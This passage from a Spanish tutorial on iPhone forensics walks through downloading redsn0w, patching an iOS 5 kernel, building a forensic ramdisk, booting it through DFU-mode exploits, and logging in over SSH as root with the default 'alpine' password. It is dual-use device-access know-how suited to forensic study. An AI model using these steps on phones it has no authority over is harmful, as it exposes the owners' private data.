copiar el fichero Keys.plist y copiarlo en la carpeta de iPhone-dataprotection. En mi caso
he usado la misma versin de redsn0w que viene en el Readme pero se pueden usar
versiones ms recientes. Podis descargarlo a manualmente desde esta web.

Descargando Redsn0w 0.12.b9.2


1

curl -O -L
https://sites.google.com/a/iphone-dev.com/files/home/redsn0w_mac_0.9.12b2.zip

2
3

unzip redsn0w_mac_0.9.12b2.zip
cp redsn0w.app/Contents/MacOS/Keys.plist Keys.plist

Ahora que tenemos las herramientas y redsn0w solo nos quedar descargar la versin
del firmware de iOS 5.0.0 para nuestro dispositivo desde aquy pegarla en la carpeta de
iPhone-dataprotection.
Pasamos a parchear el kernel y a crear el Ramdisk (aplicaciones forenses para utilizar
en el iPhone) mediante los comandos:

parcheamos kernel y creamos ramdisk


1

#Parcheamos el kernel

python python_scripts/kernel_patcher.py iPhone3,1_5.0_9A334_Restore.ipsw

3
4

#Creamos el Ramdisk

sh ./make_ramdisk_n90ap.sh

Para aquellos que no os salga este paso (ya que fnciona para ciertas versiones de
Xcode) desde dragonjar est disponible un repositorio con el kernel parcheado y el
Ramdisk para cada una de las versiones de iPhone. Podis descargarlas desde aqu.

4. Ejecutanto el Ramdisk
Los pasos para ejecutar el Ramdisk son los siguientes:
4.1 Ejecutamos Redsn0w con nuestra imgen.
Vamos a ejecutar Redsn0w con el .iwsp correspondiente a nuestro iPhone, el fichero
kernel_patched y el RamDisk mediante esta instruccin.

ejecutando redsn0w
./redsn0w.app/Contents/MacOS/redsn0w -i iPhone3,1_5.0_9A334_Restore.ipsw

-r myramdisk.dmg -k kernelcache.release.n90.patched

4.2 Conectamos el telfono al ordenador por cable usb


4.3 Apagamos el iPhone
4.4 Pulsamos en siguiente

4.5 Entramos en DFU mode


Ejecutamos la secuencia para entrar en modo DFU: 3 segundos bloqueo + 10 segundos
bloqueo y Home + 15 segundos Home. En esta versin de Redsnow se va mostrando
por pantalla los botones que tenemos que ir pulsando.

Una vez que entrado el iPhone en modo DFU, lanza los exploits y carga el RamDisk que
le hemos pasado mostrandonos el OK por pantalla.

4.6 Conectamos con tcpreplay


Damos permisos de ejecucin a tcpreplay.sh que ser la herramienta encargada de
establecer conexin entre el telfono y el ordenador.
Esta herramienta conecta el puerto 22 y 1999 del iPhone con el 2222 y 1999
respectivamente de nuestro ordenador.

4.7 Conectamos por SSH


Nos conectamos por ssh al puerto 2222 del localhost y nos logueamos con las
credenciales root/alpine.

Ya estamos dentro
4.8 Desconectar
Para desconectarnos y dejar el iPhone tal cual estaba antes, solo tenemos que
desconectar el cable y pulsar el botn de bloqueo ms el home unos segundos.

Você também pode gostar